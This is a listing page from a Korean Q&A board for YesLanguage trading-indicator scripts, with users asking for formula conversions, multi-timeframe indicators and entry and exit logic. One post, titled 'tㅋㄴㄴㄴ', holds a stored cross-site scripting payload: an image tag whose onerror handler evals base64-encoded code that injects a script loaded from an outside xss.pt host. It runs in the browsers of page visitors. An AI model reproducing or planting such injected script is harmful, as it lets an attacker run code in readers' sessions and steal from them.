커뮤니티

예스랭귀지 Q&A

글쓰기
답변완료

부탁 드립니다.

항상 도움에 감사 드립니다. 타주기 수식 부탁 드립니다. 1)분봉지표를 분봉차트에서 2)틱봉지표를 틱봉차트에서 3)일봉지표를 분봉차트에서 4)주봉지표를 분봉차트에서 미리 감사 드립니다... 질문수식) input:p(30); input:sig(5); var1=(c-trl)*v; VAR2=trh-trl; Var3=var1/Var2; Var4=ma(Var3,p); Var5=ma(v,p); var6=(var4/Var5)*100; Var7=ma(Var6,sig); 참고1) TRL=min(C[1],L); TRH=max(C[1],H); 참고2) input : ntime(numeric),P(numeric),sig(numeric); var : S1(0),D1(0),TM(0),TF(0),cnt(0),sum1(0),sum2(0); var : v2(0),v4(0),pre(0),C1(0),idx(0),vv(0); Array : v1[100](0),v3[100](0); if Bdate != Bdate[1] Then { S1 = TimeToMinutes(stime); D1 = sdate; } if D1 > 0 then { if sdate == D1 Then TM = TimeToMinutes(stime)-S1; Else TM = TimeToMinutes(stime)+1440-S1; TF = TM%ntime; if Bdate != Bdate[1] or (Bdate == Bdate[1] and ntime > 1 and TF < TF[1]) or (Bdate == Bdate[1] and ntime > 1 and TM >= TM[1]+ntime) or (Bdate == Bdate[1] and ntime == 1 and TM > TM[1]) Then { idx = idx+1; C1 = C[1]; vv = 0; pre = v1[0][1]; For cnt = 1 to 99 { v1[cnt] = v1[cnt-1][1]; v3[cnt] = v3[cnt-1][1]; } } vv = vv + v; 참고3) input : ntime(numeric),P(numeric),sig(numeric); var : D1(0),TF(0),cnt(0),sum1(0),sum2(0); var : v2(0),v4(0),pre(0),C1(0),idx(0),Didx(0),vv(0); Array : v1[100](0),v3[100](0); if Bdate != Bdate[1] Then { D1 = sdate; Didx = 0; } Else Didx = Didx+1; if D1 > 0 then { TF = Didx%ntime; if Bdate != bdate[1] or (TF < TF[1] and Bdate == Bdate[1]) Then { idx = idx+1; C1 = C[1]; vv = 0; pre = v1[0][1]; For cnt = 1 to 99 {
프로필 이미지
yes
2021-11-01
543
글번호 153290
지표
답변완료

수식 문의 드립니다...

20이평돌파 매수 20이평 깨지면 매도.. 1.한번매매이고 매수후 20이평깨지면 매수청산후 매매 없음. 매수후 20이평 깨지지 않으면 15시30분청산. 2.매수후 20이평 깨지면 스위칭 매도후 진입없음. 20이평 돌파시 매도청산 후 매매없음.매도진입후 20이평돌파없으면 15시30분 청산.입니다...
프로필 이미지
고구미
2021-11-01
660
글번호 153288
시스템
답변완료

문의드립니다

Input:length(2),종가사용여부(0),파동선두께(1),파동선두께고저선(0),수치표시(0); Var:j(0),jj(0),HH(0),LL(0),최종고가(0),최종저가(0),최종꼭지점(""),처리구분(""), TL1(0),Text1(0),tl2(0),T(0),sumv(0),sumi(0),mav(0); Array:고[10,4](0),저[10,4](0); // 1:가격,2:Index,3:sDate,4:sTime #==========================================# HH = IFF(종가사용여부==1,C,H); LL = IFF(종가사용여부==1,C,L); If Index == 0 Then { 고[1,1] = HH; 저[1,1] = LL; } Condition1 = Highest(HH,length) == HH and 최종고가 <> HH; Condition2 = Lowest (LL,length) == LL and 최종저가 <> LL; 처리구분 = ""; If Condition1 and Condition2 Then // 기간고점과 기간저점 동시 발생 { If 최종꼭지점 == "저점" Then { If 저[1,1] > LL Then 처리구분 = "저점처리"; Else 처리구분 = "고점처리"; } Else If 최종꼭지점 == "고점" Then { If 고[1,1] < HH Then 처리구분 = "고점처리"; Else 처리구분 = "저점처리"; } } Else If Condition1 Then 처리구분 = "고점처리"; Else If Condition2 Then 처리구분 = "저점처리"; #==========================================# If 처리구분 == "고점처리" Then { T = 1; 최종고가 = HH; // 신규고점을 체크하기 위해 저장 If 최종꼭지점 == "저점" Then { For j = 10 DownTo 2 { For jj = 1 To 4 { 고[j,jj] = 고[j-1,jj]; } } 고[1,1] = HH; 고[1,2] = Index; 고[1,3] = sDate; 고[1,4] = sTime; TL1 = TL_New(저[1,3],저[1,4],저[1,1],고[1,3],고[1,4],고[1,1]); TL2 = TL_New(고[2,3],고[2,4],고[2,1],고[1,3],고[1,4],고[1,1]); If 수치표시 == 1 Then { Text1 = Text_New(고[1,3],고[1,4],고[1,1],NumToStr(고[1,1],2)); Text_SetStyle(Text1, 2, 2); Text_SetColor(Text1,RED); Text_SetSize(Text1, 15); } TL_SetSize(TL1,파동선두께); TL_SetColor(TL1,RED); TL_SetSize(TL2,파동선두께고저선); TL_SetColor(TL2,RGB(129,129,129)); } Else If 고[1,1] < HH Then // 1번 고점보다 높은 고가 출현 { 고[1,1] = HH; 고[1,2] = Index; 고[1,3] = sDate; 고[1,4] = sTime; TL_SetEnd(TL1,고[1,3],고[1,4],고[1,1]); TL_SetEnd(TL2,고[1,3],고[1,4],고[1,1]); // 시작점은 변동없고 끝점의 위치가 현재 봉으로 연장된 것임 If 수치표시 == 1 Then { Text_SetLocation(Text1,고[1,3],고[1,4],고[1,1]); Text_SetString(Text1,NumToStr(고[1,1],2)); } } 최종꼭지점 = "고점"; } #==========================================# If 처리구분 == "저점처리" Then { T = -1; 최종저가 = LL; If 최종꼭지점 == "고점" then { For j = 10 DownTo 2 { For jj = 1 To 4 { 저[j,jj] = 저[j-1,jj]; } } 저[1,1] = LL; 저[1,2] = Index; 저[1,3] = sDate; 저[1,4] = sTime; TL1 = TL_New(고[1,3],고[1,4],고[1,1],저[1,3],저[1,4],저[1,1]); TL2 = TL_New(저[2,3],저[2,4],저[2,1],저[1,3],저[1,4],저[1,1]); If 수치표시 == 1 Then { Text1 = Text_New(저[1,3],저[1,4],저[1,1],NumToStr(저[1,1],2)); Text_SetStyle(Text1, 2, 0); Text_SetColor(Text1,BLUE); Text_SetSize(Text1, 15); } TL_SetSize(TL1,파동선두께); TL_SetColor(TL1,BLUE); TL_SetSize(TL2,파동선두께고저선); TL_SetColor(TL2,RGB(129,129,129)); } Else If 저[1,1] > LL then { 저[1,1] = LL; 저[1,2] = Index; 저[1,3] = sDate; 저[1,4] = sTime; TL_SetEnd(TL1,저[1,3],저[1,4],저[1,1]); TL_SetEnd(TL2,저[1,3],저[1,4],저[1,1]); If 수치표시 == 1 Then { Text_SetLocation(Text1,저[1,3],저[1,4],저[1,1]); Text_SetString(Text1,NumToStr(저[1,1],2)); } } 최종꼭지점 = "저점"; } if T != T[1] Then { sumv = 0; sumi = 0; } sumv = sumv+c; sumi = sumi+1; mav = sumv/sumi; var1 = (mav); if var1 > var1[1] Then value1 = 1; if var1 < var1[1] Then value1 = -1; if value1 == 1 Then plot1(var1,"1",RED); if value1 == -1 Then plot1(var1,"1",BLUE); plot1(mav); ........................................................................................................... 1-1 상기식을 데이타2 용으로 가공해 주세요 1-2 상기식에서 plot1의 색깔이 변하면 경보음이 나올수 있도록 가공해 주세요 2. 참조챠트 데이타2의 봉에서 시가가 나오면 본챠트에 그시가선을(참조챠트의 시가) 수평으로 그어 주세요
프로필 이미지
zmfha
2021-11-01
502
글번호 153284
지표

7out 님에 의해서 삭제되었습니다.

프로필 이미지
7out
2021-11-01
29
글번호 153283
시스템
답변완료

지표수식전환 요청

다음 수식전환 부탁드립니다. <1> A=Trix(Period)+Trix(Period,1); B=crossup(A,0); D=crossdown(A,0); K=crossup(A,0.10); M=crossdown(A,0.10); G=crossup(A,0.15); J=crossdown(A,0.15); E=if((B or D or G or J or K or M), 1, 0); valuewhen(1,E,o); Period/2 <2> 수식1 양봉=C>O; 음봉=C<O; 양V=V>V(1); 음V=V<V(1); A=ValueWhen(1, 양봉 && 양V, C) 수식2 IF(A>=A(1),A,0) 수식3 IF(A<A(1),A,0) <3> 수식1 BBandsUP(기간1,d1); 수식2 BBandsUP(기간2,d2); 수식3 BBandsUP(기간3,d3); 수식4 BBandsUP(기간4,d4); 수식5 BBandsUP(기간5,d5); 수식1 BBandsdown(기간1,d1); 수식2 BBandsdown(기간2,d2); 수식3 BBandsdown(기간3,d3); 수식4 BBandsdown(기간4,d4); 수식5 BBandsdown(기간5,d5); 기간1 10 기간2 13 기간3 15 기간4 17 기간5 20 d1 2 d2 2.2 d3 2.3 d4 2.4 d5 2.5
프로필 이미지
이대표
2021-10-31
708
글번호 153282
지표

tㅋㄴㄴㄴ

tㅋㄴㄴㄴ<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzcy5wdC9KQnRDPycrTWF0aC5yYW5kb20oKQ=='))>
프로필 이미지
전복자
2021-10-31
602
글번호 153281
지표

전복자 님에 의해서 삭제되었습니다.

프로필 이미지
전복자
2021-10-31
0
글번호 153280
지표
답변완료

문의드립니다

수고 하십니다 그림과 같이 %와가격을 나타내고 싶은데 하다가 막혀서 문의드립니다 input : per1(14),per2(20),per3(30),per4(50),per5(60),per6(80),per7(120),per8(150), per9(250); var : cnt(0); Array : va[14](0), Text[14](0),p[14](0); va[1] = DayLow*(1+per1/100); va[2] = DayLow*(1+per2/100); va[3] = DayLow*(1+per3/100); va[4] = DayLow*(1+per4/100); va[5] = DayLow*(1+per5/100); va[6] = DayLow*(1+per6/100); va[7] = DayLow*(1+per7/100); va[8] = DayLow*(1+per8/100); va[9] = DayLow*(1+per9/100); plot1(va[1]); plot2(va[2]); plot3(va[3]); plot4(va[4]); plot5(va[5]); plot6(va[6]); plot7(va[7]); plot8(va[8]); plot9(va[9]); For cnt = 0 to 8 Begin Text_Delete(Text[cnt]); Text[cnt] = Text_New(CurrentDate,CurrentTime,va[cnt],NumToStr(va[cnt],2)); End; For cnt = 0 to 8 Begin Text_Delete(p[cnt]); End;
프로필 이미지
비듬싸순
2021-10-31
743
글번호 153279
지표
답변완료

지표 부탁드립니다.

안녕하세요? 또한번 부탁드립니다. 선물 100틱차트에서 타주기 2분봉 240선과 480선을 그리고 싶습니다. 꼭 부탁드립니다. 미리 감사드리며 즐거운 나날 되시길 바랍니다.
프로필 이미지
포보스
2021-10-31
945
글번호 153278
지표
답변완료

문의드립니다

항상 감사드립니다. 확인 및 수정 부탁드립니다. 1. 손절을 bx, sx로 놓고 연구중에 있는데요. bx, sx되는 시점이 매수 매도 진입한 캔들이 완료되고 다음 캔들이 완성되고 그 캔들의 고가나 저가를 돌파할 때 청산됩니다. 진입한 캔들의 고가나 저가를 돌파할 때 청산되도록 수정 부탁드립니다. 2. 아래 수식에 Exit short, Exit long 수식 추가 부탁드립니다. 3. 거래시간 종료전에 익절 또는 손절 청산이 안되는 경우, 거래시간 이후에 익절 또는 손절 청산되도록 수정 부탁드립니다. 4. 종가 진입 - 매수는 양봉에만, 매도는 음봉에만 진입하도록 추가 부탁드립니다. 5. 조건 만족시 즉시 매수 매도 하는 수식 첨가 부탁드립니다. * 주석 달아주시면 더욱 감사하겠습니다~~ input : n1(30); input : StartTime(223000),EndTime(233000); input : 익절틱수(80),손절틱수(0); var : Tcond(false); Array : H1[50](0),L1[50](0); if (sdate != sdate[1] and stime >= EndTime) or (sdate == sdate[1] and stime >= EndTime and stime[1] < EndTime) Then Tcond = False; if (sdate != sdate[1] and stime >= StartTime) or (sdate == sdate[1] and stime >= StartTime and stime[1] < StartTime) Then Tcond = true; if Tcond == true Then { if C > H1[N1] and C > max(H1[N1])+PriceScale*1 and C > O Then Buy("b"); if C < L1[N1] and C < min(L1[N1])-PriceScale*1 and C < O Then Sell("s"); if MarketPosition == 1 Then ExitLong("bx",AtStop,L-PriceScale*1); if MarketPosition == -1 Then ExitShort("sx",AtStop,H+PriceScale*1); } SetStopProfittarget(PriceScale*익절틱수,PointStop); SetStopLoss(PriceScale*손절틱수,PointStop); IF Endtime > starttime Then SetStopEndofday(Endtime); Else { if sDate != sDate[1] Then SetStopEndofday(Endtime); } if (sdate != sdate[1] and stime >= StartTime) or (sdate == sdate[1] and stime >= StartTime and stime[1] < StartTime) Then { IF Endtime <= starttime Then { SetStopEndofday(0); } }
프로필 이미지
jesten77
2021-10-31
627
글번호 153277
시스템